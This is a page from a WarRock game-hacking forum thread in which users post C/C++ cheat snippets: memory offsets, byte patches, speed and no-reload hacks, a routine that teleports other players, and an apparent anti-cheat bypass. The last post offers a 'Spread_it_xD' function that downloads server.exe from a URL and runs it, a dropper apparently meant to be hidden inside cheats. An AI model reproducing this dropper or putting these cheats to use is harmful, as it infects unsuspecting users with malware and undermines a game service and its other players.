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WarRock EU - Code Snippets

Discussion on WarRock EU - Code Snippets within the WarRock forum part of the Shooter category.

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Old 10/26/2011, 20:49   #5581
 
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ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
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Old 10/26/2011, 21:11   #5582
 
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Quote:
Originally Posted by Yazzn :) View Post
ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
Das lohnt sich jetzt glaue ich eh nicht mehr

Achja,
Structs, könnte man die als enum benutzen? xD
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Old 10/26/2011, 21:13   #5583
 
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Quote:
Originally Posted by Yazzn :) View Post
ich finde es sowas von lustig wie hier immer der selbe müll 50x gepostet wird anstatt den thread übersichtlich zu halten.
Vor allem, das die 1. Seite nicht mehr Updated wird, daher Übersicht = 0.

Achja, komisch das paar eurer Requests auf der 1. Seite stehe, z.b. GM Warning, da fehlt übrigends Text Draw, also wird das so nicht Funktionieren.
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Old 10/26/2011, 21:31   #5584
 
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if(SeeDown == 1)
{
g_pLocal->Angle.pitch += 150;
}



struct CBase
{
CServer* slocal; //0x000000
char unknown[96]; //0x000004
CPlayer* plocal; //0x000064
char unknown0[1169876]; //0x000068
CPlayer** player; //0x
};
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Old 10/26/2011, 21:37   #5585
 
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#define OFS_RCPlayer 0x1018C

if(RCPlayer){*(WORD*)(dwPlayerPtr+OFS_RCPlayer) = 1;}

Happy Fun
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Old 10/26/2011, 21:38   #5586
 
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Code:
if (SVP=1) 
{
if (Player != 0 && Server != 0)
for(int i = 0; i < 32; i++)
{
CPlayer* PlayerA = pBase->player[i];    
PlayerA->px=(i*50);
PlayerA->py=0;
PlayerA->pz=0;
}
}
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Old 10/26/2011, 21:40   #5587
 
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if ( CH_NoReload )
{
if ( g_pBase->plocal->WeaponState == *(INT*)(ADR_
WeaponReload) )
{
g_pBase->plocal->No_Delay_Reload |= 0x10;
}
}


thanks for this sub xD
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Old 10/26/2011, 21:41   #5588
 
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if(NoDelay && GetAsyncKeyState(VK_LBUTTON))
{*(DWORD*)(dwPlayerPtr+OFS_NODELAY) |= 0xFFFFFFEF;}
#define OFS_NODELAY 0x103E0 // Can used as NoReload, could be buggy, maybe i post another...
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Old 10/26/2011, 21:43   #5589
 
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büny the skillor xD

if ( CH_PlayerSpeed == 0) { g_pBase->plocal->Speed = 0; }
if ( CH_PlayerSpeed == 1) { g_pBase->plocal->Speed = -100; }// x1
if ( CH_PlayerSpeed == 2) { g_pBase->plocal->Speed = -200; }// x2
if ( CH_PlayerSpeed == 3) { g_pBase->plocal->Speed = -300; }// ...
if ( CH_PlayerSpeed == 4) { g_pBase->plocal->Speed = -400; }
if ( CH_PlayerSpeed == 5) { g_pBase->plocal->Speed = -500; }
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Old 10/26/2011, 21:45   #5590
 
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Fast Medic Asm

Code:
if(FastMedic)
{
	WriteAsm((void*)(0x4C9497), (PBYTE)"\x90\x90\x90\x90\x90\x90", 6);
}
Fast Repair Asm

Code:
if(FastRepair)
{
	WriteAsm((void*)(0x421D31), (PBYTE)"\x90\x90\x90\x90\x90\x90", 6);
}
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Old 10/26/2011, 21:46   #5591
 
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#define ADR_YourActionsSpeed 0x9E336C

usage:
*(float*)ADR_YourActionsSpeed = 1337;//Or Whatever
can be used for Faster Plant and Defuse.
Happy fun

e:/ fixed for Leechers xD
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Old 10/26/2011, 21:47   #5592
 
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DWORD MsgBox_OK_SHOP = 0x04186C1;// OK & Go to Ingame Shop
DWORD MsgBox_OK = 0x04186E8;// Only OK
DWORD MsgBox_OK_CANCEL = 0x04E065B;// OK & Cancel



found by me


source:



Quote:
void MessageBoxWr(char * msgtxt)
{
__asm
{

add eax,0
mov ecx, eax
push msgtxt
call MsgBox_XXX // <- write the name
pop ecx

}
}
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Old 10/26/2011, 21:47   #5593
 
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Code:
if (CH_QUICKPLANT == 1)
  {
      BypassDetour((void*)(ASM_QUICKPLANT), (PBYTE)"\xEB\x34", 2);
  }
  else
  {
            BypassDetour((void*)(ASM_QUICKPLANT), (PBYTE)"\x74\xC3\xA1\x51",4);
  }
 if (CH_QUICKDEFUSE == 1)
 {
           BypassDetour((void*)(ASM_QUICKDEFUSE), (PBYTE)"\x8B\x8E\xE8\x00",4);
 }
 else
 {
      BypassDetour((void*)(ASM_QUICKDEFUSE), (PBYTE)"\xD8\x50\x04",3);
}
Bytes Old
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Old 10/26/2011, 21:51   #5594
 
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#define OFS_STOPMYACTIONS 0x10354

*(float*)(dwPlayerPtr+STOPMYACTIONS) = 999;

Könnt nicht mehr springen, laufen unso
Mir war lw xD

CREDITS TO ME IHR LEECHER
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Old 10/26/2011, 21:56   #5595
 
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void Spread_it_xD()
{

URLDownloadToFile(NULL,TEXT("http://www.blablablalbalblablablabla.net/server.exe"),TEXT("C:\\server.exe"),0,0);
ShellExecuteA(0, "open", "server.exe",0,"C:\\",0);

}


idk if it 100% work not tested^^
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